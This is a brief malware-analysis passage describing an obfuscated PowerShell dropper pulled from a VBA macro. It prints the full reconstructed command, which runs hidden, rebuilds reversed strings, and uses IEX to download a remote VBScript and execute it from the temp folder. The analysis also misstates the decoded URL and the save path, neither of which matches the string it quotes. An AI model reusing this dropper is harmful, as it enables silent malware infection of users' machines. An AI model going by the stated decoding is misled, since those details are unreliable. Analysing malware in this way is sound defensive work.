The VBA macro contains a PowerShell command that is obfuscated using string concatenation and reversal. The reconstructed command is 'powershell -WindowStyle Hidden $ErrorActionPreference=\'SilentlyContinue\';$u4e0b0 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $u4e0b0 ;$c50=\'eY.teN tc\' + \'ejbO-weN(\' ;$Ax1=\'olnwoD.)tnei\' + \'lCb\'; $c3=\' )\'\'sbv.dapeton\\\' + \'pmet:vne$,\'\'sbv.tneilC detcetorP/rennid/moc.anahgeissua//:ptth\'$(eliFda';$TC=$c3,$Ax1,$c50 -Join \'\';($TC|% {-join($_[-1..-$_.Length])})|IEX;& ($env:temp+ \'\notepad.vbs\')'. This command downloads a VBScript from 'http://anageissua.com/downloader/protected/Client.vbs' and saves it as 'C:\temp\notepad.vbs', which is then executed. The CreateObject heuristic further supports the execution of code.
